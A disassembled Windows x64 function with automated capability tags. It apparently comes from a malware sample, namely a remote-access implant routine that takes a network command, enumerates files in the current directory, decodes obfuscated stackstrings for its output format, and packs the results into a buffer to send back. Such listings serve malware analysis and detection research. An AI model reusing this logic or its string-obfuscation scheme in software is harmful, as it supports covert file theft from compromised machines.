Function at 0x140001e50
Capabilities:
Contain obfuscated stackstrings
Enumerate files on windows
Get common file path

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r14
push r15
lea rbp, [rsp - 0x150]
sub rsp, 0x250
mov rbx, rcx
mov esi, edx
mov ecx, 0x4000
call fcn.140028a64
xor edx, edx
mov r8d, 0x4000
mov rcx, rax
mov rdi, rax
call fcn.140022720
xor r15d, r15d
cmp esi, 4
jae 0x140001ea2
mov r14d, r15d
jmp 0x140001eeb
mov ecx, dword [rbx]
call qword [sym.imp.WS2_32.dll_ntohl]
mov r14d, eax
lea eax, [rsi - 4]
cmp eax, 4
jb 0x140001eeb
mov ecx, dword [rbx + 4]
add esi, 0xfffffff8
call qword [sym.imp.WS2_32.dll_ntohl]
lea rdx, [rbx + 8]
test eax, eax
je 0x140001eeb
cmp eax, 0x4000
jge 0x140001eeb
cmp esi, eax
jl 0x140001eeb
test rdx, rdx
je 0x140001eeb
movsxd rbx, eax
mov rcx, rdi
mov r8, rbx
call fcn.140022ae0
mov byte [rbx + rdi], r15b
mov ecx, 0x200000
call fcn.140028a64
xor edx, edx
mov qword [rsp + 0x60], rax
mov r8d, 0x200000
mov dword [rsp + 0x74], 0x200000
mov rcx, rax
mov rbx, rax
call fcn.140022720
mov ecx, r14d
call qword [sym.imp.WS2_32.dll_htonl]
mov r8d, 0x4000
mov dword [rsp + 0x70], 4
mov dword [rbx], eax
lea rdx, [0x14004bca8]
lea rax, [rbx + 4]
mov rcx, rdi
mov qword [rsp + 0x68], rax
call fcn.140029110
test eax, eax
jne 0x140001f72
mov rdx, rdi
mov ecx, 0x4000
call qword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
mov r9d, 2
lea r8, [0x14004bcac]
mov edx, 0x4000
mov rcx, rdi
call fcn.140028a6c
mov r8, rdi
lea rdx, [0x14004bcb0]
lea rcx, [rsp + 0x60]
call fcn.14000ce40
lea rdx, [rbp + 0x10]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov rsi, rax
cmp rax, 0xffffffffffffffff
jne 0x140002035
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r9, rdi
lea ecx, [rsi + 0x35]
mov edx, eax
xor r8d, r8d
call fcn.140009c20
cmp dword [0x14005c344], 1
jne 0x14000200f
mov rax, qword [0x14005c350]
cmp word [rax + 0x1c0], 2
jne 0x14000200f
movsxd rcx, dword [rax + 0x1c8]
test ecx, ecx
je 0x14000200f
movsxd r9, dword [rsp + 0x70]
lea r8d, [rsi + 0x17]
mov rbx, qword [rsp + 0x60]
mov rdx, r9
cmp r9, rcx
ja 0x140001ff7
lea r9d, [rsi + 2]
jmp 0x140002020
mov rdx, rbx
mov ecx, r9d
call fcn.140009a20
mov rcx, rdi
call fcn.140028a50
jmp 0x140002317
movsxd rdx, dword [rsp + 0x70]
xor r9d, r9d
mov rbx, qword [rsp + 0x60]
lea r8d, [r9 + 0x16]
mov rcx, rbx
call fcn.140009930
mov rcx, rdi
call fcn.140028a50
jmp 0x140002317
mov rcx, rdi
call fcn.140028a50
movabs rdi, 0x9030b26dba05a783
movabs r14, 0x4fab8c9d101341e3
lea rdx, [rbp]
lea rcx, [rbp + 0x24]
call qword [sym.imp.KERNEL32.dll_FileTimeToSystemTime]
lea r8, [rsp + 0x50]
xor ecx, ecx
lea rdx, [rbp]
call qword [sym.imp.KERNEL32.dll_SystemTimeToTzSpecificLocalTime]
test byte [rbp + 0x10], 0x10
xorps xmm0, xmm0
je 0x140002182
xor eax, eax
mov dword [rbp - 0x40], 0x18401a5a
mov dword [rbp - 0xa], eax
mov word [rbp - 6], ax
mov dword [rbp - 0x3c], 0x734e4d3d
mov dword [rbp - 0x38], 0x4948364f
mov dword [rbp - 0x34], 0x572b5476
mov dword [rbp - 0x30], 0x2c206d54
mov dword [rbp - 0x2c], 0x55605f52
mov dword [rbp - 0x28], 0x675a5921
mov dword [rbp - 0x24], 0x65641a50
mov dword [rbp - 0x20], 0xae1f3a5a
mov word [rbp - 0x1c], 0x3d38
movups xmmword [rbp - 0x1a], xmm0
mov qword [rbp + 0x170], r15
mov rax, qword [rbp + 0x170]
nop dword [rax]
mov rcx, qword [rbp + 0x170]
mov rax, qword [rbp + 0x170]
add rcx, rdi
movzx edx, byte [rbp + rax - 0x40]
mov rax, rcx
and rax, rdx
imul r8, rax, 0xfffffffffffffffe
mov rax, qword [rbp + 0x170]
add r8, rcx
add r8, rdx
add r8b, 0x6b
mov byte [rbp + rax - 0x40], r8b
mov rax, qword [rbp + 0x170]
inc rax
mov qword [rbp + 0x170], rax
mov rax, qword [rbp + 0x170]
cmp rax, 0x3c
jb 0x1400020e0
movzx ecx, word [rsp + 0x5a]
lea r11, [rbp + 0x3c]
movzx edx, word [rsp + 0x58]
movzx eax, word [rsp + 0x5c]
movzx r10d, word [rsp + 0x50]
movzx r9d, word [rsp + 0x56]
movzx r8d, word [rsp + 0x52]
mov qword [rsp + 0x40], r11
mov dword [rsp + 0x38], eax
mov dword [rsp + 0x30], ecx
lea rcx, [rsp + 0x60]
mov dword [rsp + 0x28], edx
lea rdx, [rbp - 0x40]
mov dword [rsp + 0x20], r10d
call fcn.14000ce40
jmp 0x140002290
mov dword [rbp - 0x80], 0x98bfda98
mov dword [rbp - 0x7c], 0xd470818c
mov dword [rbp - 0x78], 0x778a89b1
mov dword [rbp - 0x74], 0x9594aa8b
mov dword [rbp - 0x70], 0x93af906a
mov dword [rbp - 0x6c], 0xa0ac6190
mov dword [rbp - 0x68], 0x91649b9e
mov dword [rbp - 0x64], 0x9b6665a5
mov dword [rbp - 0x60], 0x61605e6c
mov dword [rbp - 0x5c], 0xa253369e
mov word [rbp - 0x58], 0x3934
movups xmmword [rbp - 0x56], xmm0
mov qword [rbp + 0x170], r15
mov rax, qword [rbp + 0x170]
mov rcx, qword [rbp + 0x170]
mov rax, qword [rbp + 0x170]
add rcx, r14
movzx edx, byte [rbp + rax - 0x80]
mov rax, rcx
and rax, rdx
imul r8, rax, 0xfffffffffffffffe
mov rax, qword [rbp + 0x170]
add r8, rcx
add r8, rdx
sub r8b, 0x35
mov byte [rbp + rax - 0x80], r8b
mov rax, qword [rbp + 0x170]
inc rax
mov qword [rbp + 0x170], rax
mov rax, qword [rbp + 0x170]
cmp rax, 0x3a
jb 0x1400021e0
mov eax, dword [rbp + 0x30]
movzx ecx, word [rsp + 0x5c]
movzx edx, word [rsp + 0x5a]
mov r8d, dword [rbp + 0x2c]
movzx r10d, word [rsp + 0x58]
movzx r11d, word [rsp + 0x50]
movzx ebx, word [rsp + 0x56]
movzx r9d, word [rsp + 0x52]
shl r8, 0x20
or r8, rax
lea rax, [rbp + 0x3c]
mov qword [rsp + 0x48], rax
mov dword [rsp + 0x40], ecx
lea rcx, [rsp + 0x60]
mov dword [rsp + 0x38], edx
lea rdx, [rbp - 0x80]
mov dword [rsp + 0x30], r10d
mov dword [rsp + 0x28], r11d
mov dword [rsp + 0x20], ebx
call fcn.14000ce40
lea rdx, [rbp + 0x10]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x140002051
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_FindClose]
cmp dword [0x14005c344], 1
jne 0x1400022fe
mov rax, qword [0x14005c350]
cmp word [rax + 0x1c0], 2
jne 0x1400022fe
movsxd rcx, dword [rax + 0x1c8]
test ecx, ecx
je 0x1400022fe
movsxd r9, dword [rsp + 0x70]
mov r8d, reloc.WS2_32.dll_shutdown
mov rbx, qword [rsp + 0x60]
mov rdx, r9
cmp r9, rcx
ja 0x1400022f1
lea r9d, [r8 - 0x15]
jmp 0x14000230f
mov rdx, rbx
mov ecx, r9d
call fcn.140009a20
jmp 0x140002317
movsxd rdx, dword [rsp + 0x70]
xor r9d, r9d
mov rbx, qword [rsp + 0x60]
lea r8d, [r9 + 0x16]
mov rcx, rbx
call fcn.140009930
movsxd r8, dword [rsp + 0x74]
xor edx, edx
mov rcx, rbx
call fcn.140022720
mov rcx, rbx
call fcn.140028a50
lea r11, [rsp + 0x250]
mov rbx, qword [r11 + 0x28]
mov rsi, qword [r11 + 0x30]
mov rdi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret